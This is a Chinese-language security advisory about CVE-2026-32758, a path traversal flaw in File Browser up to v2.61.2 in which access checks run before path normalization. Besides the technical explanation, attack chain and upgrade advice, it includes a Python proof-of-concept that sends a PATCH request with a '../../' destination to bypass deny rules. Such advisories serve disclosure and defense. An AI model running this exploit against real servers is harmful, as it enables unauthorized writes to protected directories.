IPBUF安全漏洞报告
English
CVE-2026-32758 CVSS 6.5 中危

CVE-2026-32758 File Browser路径遍历漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32758
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
File Browser

相关标签

路径遍历File Browser权限绕过CVE-2026-32758

漏洞概述

File Browser v2.61.2及以下版本存在路径遍历漏洞。由于`resourcePatchHandler`中目标路径的验证发生在清理/规范化之前,而实际文件操作在之后调用`path.Clean()`,导致拥有创建或重命名权限的认证用户可利用`..`序列绕过管理员配置的拒绝规则,将文件写入受限路径。

技术细节

该漏洞源于File Browser在处理PATCH请求时的逻辑缺陷。在`http/resource.go`的`resourcePatchHandler`函数中,系统首先根据访问规则(如前缀匹配或正则表达式)验证目标路径的有效性,但在随后的实际文件操作中调用了Go语言的`path.Clean()`进行路径规范化。由于验证先于规范化,攻击者可以精心构造包含`..`序列的目标路径参数。该路径在验证阶段符合规则,但在规范化后会解析为原本被拒绝规则保护的目录。拥有创建或重命名权限的认证用户利用此漏洞,可成功绕过管理员配置的安全限制,将文件写入任意受保护路径,但无法逃出用户的BasePathFs作用域或读取受限文件。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者需要拥有File Browser的合法账户,并且该账户必须被授予创建或重命名文件的权限。
STEP 2
步骤2:构造恶意请求
攻击者构造一个PATCH请求,针对目标文件进行操作。在请求的destination参数中注入包含'..'序列的路径(例如'../../protected/file.txt')。
STEP 3
步骤3:绕过安全验证
由于应用先验证路径后规范化,恶意路径绕过了前缀或正则拒绝规则。随后path.Clean()解析路径,导致文件被实际写入或移动到原本受保护的目录中。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration target_url = "http://example.com/api/resources/" username = "attacker" password = "password" login_url = "http://example.com/api/login" # 1. Authenticate session = requests.Session() login_data = {"username": username, "password": password} response = session.post(login_url, data=login_data) if response.status_code != 200: print("Login failed") exit(1) # 2. Prepare malicious payload # Attempt to move 'malicious.txt' to a protected directory using path traversal source_file = "malicious.txt" # The destination contains '../' to bypass deny rules configured on 'protected_dir' destination_path = "../../protected_dir/malicious.txt" headers = {"Content-Type": "application/json"} payload = { "action": "move", # or 'rename' depending on context "destination": destination_path, "overwrite": True } # 3. Send Exploit Request # Assuming the endpoint structure based on resourcePatchHandler description exploit_url = f"{target_url}{source_file}" response = session.patch(exploit_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Exploit successful! File moved to restricted path.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)

影响范围

File Browser <= 2.61.2

防御指南

临时缓解措施
建议立即将File Browser升级至v2.62.0版本以修复此漏洞。如果暂时无法升级,请检查并收紧访问控制策略,撤销低权限用户的文件创建和重命名权利,防止其利用路径遍历绕过保护机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表